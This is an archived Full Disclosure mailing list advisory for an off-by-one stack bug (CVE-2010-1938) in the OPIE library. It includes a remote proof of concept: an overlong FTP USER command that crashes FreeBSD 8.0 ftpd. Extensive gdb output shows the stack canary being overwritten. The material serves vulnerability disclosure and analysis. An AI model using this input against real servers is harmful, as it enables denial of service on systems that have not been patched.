Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

libopie __readrec() off-by one (FreeBSD ftpd remote PoC)
From: Adam Zabrocki <pi3 () itsec pl>
Date: Thu, 27 May 2010 10:30:56 +0200

[ libopie __readrec() off-by one (FreeBSD ftpd remote PoC) ]

Authors: 
- Maksymilian Arciemowicz
- Adam 'pi3' Zabrocki

http://securityreason.com/achievement_securityalert/87
http://site.pi3.com.pl/adv/libopie-adv.txt
http://blog.pi3.com.pl/?p=111


Date:
- Dis.: 04.05.2010
- Pub.: 27.05.2010

CVE: CVE-2010-1938
CWE: CWE-193

Affected Software:
- OPIE Authentication System ( libopie )

Software which use libopie:
- OpenSuSE
- wu-ftpd
- mod_opie
- PAM
- openssh (modified by FreeBSD/DragonflyBSD Team)
- sudo
- opiesu
- popper
- Probably much more...

PoC:
- FreeBSD 8.0 ftpd(8) Remote Off-by one
  line FreeBSD 7 is not affected
  
Other software can be also affected. 


NOTE: Prior versions may also be affected.

Orginal URL:
http://securityreason.com/achievement_securityalert/84


--- 0.Description ---
OPIE is a freely redistributable kit that will drop into most *IX systems and replaces
your login and FTP daemon with versions that use OTP for user authentication. It also
includes an OTP generator and a library to make it easy to add OTP authentication to
existing clients and servers.


--- 1. OPIE Authentication System Off-by one ---
Libopie allows REMOTE and LOCAL attackers to off-by-one attack (on the stack).
Let's look in the code:

"/src/contrib/opie/opie.h"
/* Maximum length of a principal (read: user name) */
#define OPIE_PRINCIPAL_MAX 32

"./src/contrib/opie/libopie/readrec.c"
int __opiereadrec FUNCTION((opie), struct opie *opie)
{
  ...
  ...
  {
    char *c, principal[OPIE_PRINCIPAL_MAX];
    int i;

    if (c = strchr(opie->opie_principal, ':'))
      *c = 0;
[1] if (strlen(opie->opie_principal) > OPIE_PRINCIPAL_MAX)
[2]   (opie->opie_principal)[OPIE_PRINCIPAL_MAX] = 0;

[3] strcpy(principal, opie->opie_principal);
    ...
    ...
  }
  ...
  ...
ret:
  if (f)
    fclose(f);
  return rval;
}


This function at [1] check the length of the variable 'opie->opie_principal'
which is full user controled. If this length is bigger than OPIE_PRINCIPAL_MAX
- 32 bytes, program will write at this position NULL byte. In fact the string
will be 32 bytes long.
Vulnerability exists at line [3]. Function strcpy() copy user controled variable
which can be maximum 32 bytes long, to the local bufor 'principal' which is 32
bytes long too. Here is off-by-one bug because function strcpy() after copied 32
bytes alwyas ADD NULL byte to the and of string. In fact it will be at the
position *(principal+32) which is out of buffer.
A possible way to exploit this vulnerability:

"./src/contrib/opie/libopie/lookup.c"
int opielookup FUNCTION((opie, principal), struct opie *opie AND char *principal)
{
  int i;

  memset(opie, 0, sizeof(struct opie));
  opie->opie_principal = principal;

  if (i = __opiereadrec(opie))              <=== our call ;)
    return i;

  return (opie->opie_flags & __OPIE_FLAGS_RW) ? 0 : 2;
}


a deeper analyzis of the code shows:

"./src/contrib/opie/libopie/challenge.c"
int opiechallenge FUNCTION((mp, name, ss), struct opie *mp AND char *name AND char *ss)
{
  int rval = -1;

  rval = opielookup(mp, name);

  ...
  ...

  return rval;
}

This function is really intereting because it is responsible for authentication so this
vulnerability can be in the pre-auth phase. We can found many softwares which use this function
for authorization (for example default ftp daemon in FreeBSD) ;)

Another interesting call we can find here:

"./src/contrib/opie/libopie/writerec.c"
int __opiewriterec FUNCTION((opie), struct opie *opie)
{
  char buf[17], buf2[64];
  time_t now;
  FILE *f, *f2 = NULL;
  int i = 0;
  char *c;

  time(&now);
  if (strftime(buf2, sizeof(buf2), " %b %d,%Y %T", localtime(&now)) < 1)
    return -1;

  if (!(opie->opie_flags & __OPIE_FLAGS_READ)) {
    struct opie opie2;
    i = opielookup(&opie2, opie->opie_principal);      <========== our call :)
    ...
  }
  ...
  ...
}

and this function is used in many places:
"./src/contrib/opie/libopie/passwd.c"    <=== in function opiepasswd()
"./src/contrib/opie/libopie/verify.c"    <=== in function opieverify() - two times ;)

... so we have got many entry points ;) But we are going to test calls to function
opiechallenge(). Pre-auth vulnerability sounds impressive ;) At first let's test default
FTP daemon for FreeBSD 8.0 ...


--- 2. FreeBSD 8.0 ftpd remote off-by one ---
Authentication module for FTP server in FreeBSD 8 module was modified. By default it
uses OPIE library. Let`s see

http://www.freebsd.org/cgi/cvsweb.cgi/~checkout~/src/libexec/ftpd/ftpd.c?rev=1.214.2.1.2.1;content-type=text%2Fplain

...

        if (opiechallenge(&opiedata, name, opieprompt) == 0) {
                pwok = (pw != NULL) &&
                       opieaccessfile(remotehost) &&
                       opiealways(pw->pw_dir);
                reply(331, "Response to %s %s for %s.",
                      opieprompt, pwok ? "requested" : "required", name);
        } else {
                pwok = 1;
                reply(331, "Password required for %s.", name);
        }
        askpasswd = 1;
...


this code has been added in line 8. 7.3 is not affected!

Variable 'name' is user name, defined in in auth

"USER AAAA"

name=AAAA

If we use more that 31 chars for username, ftpd will crash. The problem will
be casued by the off-by-one bug in libopie. FreeBSD 8.0 compile most of its binaries
with -fstack-protector-all flag by default so the FTP server will be killed by SSP
with an information about attack:

"stack overflow detected"

The problematic part of libopie is called by the FTP server via this line:

opiechallenge(&opiedata, name, opieprompt)


PoC0:
Connected to localhost.
Escape character is '^]'.
220 127.cx FTP server (Version 6.00LS) ready.
user cx
331 Password required for cx.
user AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Connection closed by foreign host.
127# 

#0  0x281efde7 in kill () from /lib/libc.so.7
(gdb) i r
eax            0x0      0
ecx            0x8060f50        134614864
edx            0x0      0
ebx            0x28205ad8       673209048
esp            0xbfbfd84c       0xbfbfd84c
ebp            0xbfbfd898       0xbfbfd898
esi            0xbfbfd864       -1077946268
edi            0x281f3ad0       673135312
eip            0x281efde7       0x281efde7
eflags         0x246    582
cs             0x33     51
ss             0x3b     59
ds             0x3b     59
es             0x3b     59
fs             0x3b     59
gs             0x1b     27
(gdb) bt
#0  0x281efde7 in kill () from /lib/libc.so.7
#1  0x2812de12 in brk () from /lib/libc.so.7
#2  0x00000580 in ?? ()
#3  0x00000006 in ?? ()
#4  0x00000000 in ?? ()
#5  0x281da06f in __srget () from /lib/libc.so.7
#6  0x280d0367 in __opieopen () from /usr/lib/libopie.so.6
#7  0x280cff4f in __opiereadrec () from /usr/lib/libopie.so.6
#8  0x280cfb53 in opielookup () from /usr/lib/libopie.so.6
#9  0x280cea9c in opiechallenge () from /usr/lib/libopie.so.6
#10 0x0804de32 in ?? ()
#11 0x0805fa60 in optind ()
#12 0x283250a0 in ?? ()
#13 0x0805fb78 in optind ()
#14 0x2809d000 in ?? ()
#15 0x00000548 in ?? ()
#16 0x00000000 in ?? ()
#17 0x2817658b in free () from /lib/libc.so.7
#18 0x080546e1 in getline ()
...
n ?? ()
#320 0x0000000f in ?? ()
#321 <signal handler called>
Cannot access memory at address 0x4c


FTP daemon crashed with this log:

May 13 10:57:40 127 ftpd[1547]: stack overflow detected; terminated
May 13 10:57:41 127 kernel: pid 1547 (ftpd), uid 0: exited on signal 6 (core dumped)
May 13 10:59:35 127 ftpd[1556]: stack overflow detected; terminated
May 13 10:59:35 127 kernel: pid 1556 (ftpd), uid 0: exited on signal 6 (core dumped)

SSP has detected stack oveerflow.


Let's analyze deeper what has exactly happened:

pi3-freebsd# gdb -q --pid=35118
...
...
Loaded symbols for /libexec/ld-elf.so.1
0x281f3271 in read () from /lib/libc.so.7
(gdb) b __opiereadrec
Breakpoint 1 at 0x280cfd74
(gdb) c
Continuing.

Breakpoint 1, 0x280cfd74 in __opiereadrec () from /usr/lib/libopie.so.6
(gdb) x/20i $eip
...
...
0x280cfe23 <__opiereadrec+179>: call   0x280cce48 <_init+1428>        <== strlen(...)
0x280cfe28 <__opiereadrec+184>: cmp    $0x20,%eax
0x280cfe2b <__opiereadrec+187>: ja     0x280cfefb <__opiereadrec+395> <= if > 0x20...
...
...
0x280cfe31 <__opiereadrec+193>: lea    0xffffffd0(%ebp),%eax
0x280cfe34 <__opiereadrec+196>: mov    %edi,0x4(%esp)
0x280cfe38 <__opiereadrec+200>: lea    0x4(%esi),%edi
0x280cfe3b <__opiereadrec+203>: mov    %eax,0xffffffb8(%ebp)
0x280cfe3e <__opiereadrec+206>: mov    %eax,(%esp)
0x280cfe41 <__opiereadrec+209>: call   0x280cce98 <_init+1508>   <== strcpy(principal,opie->opie_principal);
0x280cfe46 <__opiereadrec+214>: mov    0xffffffc0(%ebp),%edx
...
...
0x280cfeab <__opiereadrec+315>: mov    0x194(%ebx),%ecx    <=== get canary from the 'secret' place
0x280cfeb1 <__opiereadrec+321>: mov    %edi,%eax
0x280cfeb3 <__opiereadrec+323>: mov    0xfffffff0(%ebp),%edx  <== get canary from the stack
0x280cfeb6 <__opiereadrec+326>: xor    (%ecx),%edx            <== compare it (xor)
0x280cfeb8 <__opiereadrec+328>: jne    0x280cff4a <__opiereadrec+474>  <== __stack
0x280cfebe <__opiereadrec+334>: add    $0x4c,%esp
0x280cfec1 <__opiereadrec+337>: pop    %ebx
0x280cfec2 <__opiereadrec+338>: pop    %esi
0x280cfec3 <__opiereadrec+339>: pop    %edi
0x280cfec4 <__opiereadrec+340>: pop    %ebp
0x280cfec5 <__opiereadrec+341>: ret
...
...
0x280cfefb <__opiereadrec+395>: movb   $0x0,0x20(%edi)      <=== (opie->opie_principal)[OPIE_PRINCIPAL_MAX] = 0;
0x280cfeff <__opiereadrec+399>: mov    0x104(%esi),%edi
0x280cff05 <__opiereadrec+405>: jmp    0x280cfe31 <__opiereadrec+193>
...
...
(gdb) x/x $ebx+0x194
0x280d3940 <remote_terms+8856>: 0x0805e900
(gdb) x/x 0x0805e900
0x805e900 <__stack_chk_guard>:  0x4541c442                 <== secret canary ;)
(gdb) x/x $ebp+0xfffffff0
0xbfbfdce8:     0x00000000
(gdb) b *0x280cfe28
Breakpoint 2 at 0x280cfe28
(gdb) c
Continuing.

Breakpoint 2, 0x280cfe28 in __opiereadrec () from /usr/lib/libopie.so.6
(gdb) i r eax
eax            0x22     34                                 <=== strlen() return value...
(gdb) b *0x280cfefb
Breakpoint 3 at 0x280cfefb
(gdb) c
Continuing.

Breakpoint 3, 0x280cfefb in __opiereadrec () from /usr/lib/libopie.so.6
(gdb) x/s $edi
0x28325070:      'A' <repeats 31 times>, "\001\002\b"
(gdb) b *0x280cfeff
Breakpoint 4 at 0x280cfeff
(gdb) c
Continuing.

Breakpoint 4, 0x280cfeff in __opiereadrec () from /usr/lib/libopie.so.6
(gdb) x/s $edi
0x28325070:      'A' <repeats 31 times>, "\001"    <== as we can see in this string (array)
                                                       33 byte now is 0x0. So our buffer now
                                                       holds/contains 32 bytes before the
                                                       terminating NULL byte
(gdb) b *0x280cfe41
Breakpoint 5 at 0x280cfe41
(gdb) c
Continuing.

Breakpoint 5, 0x280cfe41 in __opiereadrec () from /usr/lib/libopie.so.6
(gdb) x/x $esp
0xbfbfdca0:     0xbfbfdcc8
(gdb) x/x $esp+4
0xbfbfdca4:     0x28325070
(gdb) x/s 0x28325070
0x28325070:      'A' <repeats 31 times>, "\001"
(gdb) x/20x 0xbfbfdcc8                                                   <====== Local buffer
0xbfbfdcc8:     0x280d37ac      0x0805fa60      0x28325070      0xbfbfdd18
0xbfbfdcd8:     0x2805f629      0x2809d600      0x00000060      0x00000000
0xbfbfdce8:     0x4541c442      0x280d37ac      0x0805fa60      0x28325070
                ^^^^^^^^^^               <============  canary value before strcpy()
0xbfbfdcf8:     0xbfbfdd18      0x280cfb53      0x0805fa60      0x00000000
0xbfbfdd08:     0x00000118      0x0805fa60      0x280d37ac      0x00000000
(gdb) b *0x280cfe46
Breakpoint 6 at 0x280cfe46
(gdb) c
Continuing.

Breakpoint 6, 0x280cfe46 in __opiereadrec () from /usr/lib/libopie.so.6
(gdb) x/20x 0xbfbfdcc8
0xbfbfdcc8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfbfdcd8:     0x41414141      0x41414141      0x41414141      0x01414141
0xbfbfdce8:     0x4541c400      0x280d37ac      0x0805fa60      0x28325070
                ^^^^^^^^^^              <============== canary value after strcpy().
                                                        Now we can see pretty off-by-one... ;)
0xbfbfdcf8:     0xbfbfdd18      0x280cfb53      0x0805fa60      0x00000000
0xbfbfdd08:     0x00000118      0x0805fa60      0x280d37ac      0x00000000
(gdb) b *0x280cfeb8
Breakpoint 7 at 0x280cfeb8
(gdb) c
Continuing.

Breakpoint 7, 0x280cfeb8 in __opiereadrec () from /usr/lib/libopie.so.6
(gdb) x/x $ecx
0x805e900 <__stack_chk_guard>:  0x4541c442
(gdb) x/x $ebp+0xfffffff0
0xbfbfdce8:     0x4541c400
(gdb) b *0x280cfec5
Breakpoint 8 at 0x280cfec5
(gdb) c
Continuing.

May 14 01:55:03 pi3-freebsd ftpd[35118]: stack overflow detected; terminated

Program received signal SIGABRT, Aborted.
0x281efde7 in kill () from /lib/libc.so.7
(gdb)


--- 3. Credits ---
Discovered by:
 - Maksymilian Arciemowicz from SecurityReason.com
 - Adam Zabrocki from ... hm... good question ;p


--- 4. Greets ---
sp3x Infospec p_e_a, #plhack () IRCNET


--- 5. Contact ---
Email:
- cxib {a\./t] securityreason [d=t} com
- pi3 [a{]t] itsec D||T pl


--- 6. Official FreeBSD response ---
http://security.freebsd.org/advisories/FreeBSD-SA-10:05.opie.asc


GPG:
- http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

http://pi3.com.pl
http://securityreason.com/
http://securityreason.com/exploit_alert/ - Exploit Database
http://securityreason.com/security_alert/ - Vulnerability Database


--
pi3 (pi3ki31ny) - pi3 (at) itsec pl
http://pi3.com.pl
http://site.pi3.com.pl
http://blog.pi3.com.pl

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


  By Date           By Thread  

Current thread:
  • libopie __readrec() off-by one (FreeBSD ftpd remote PoC) Adam Zabrocki (May 27)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault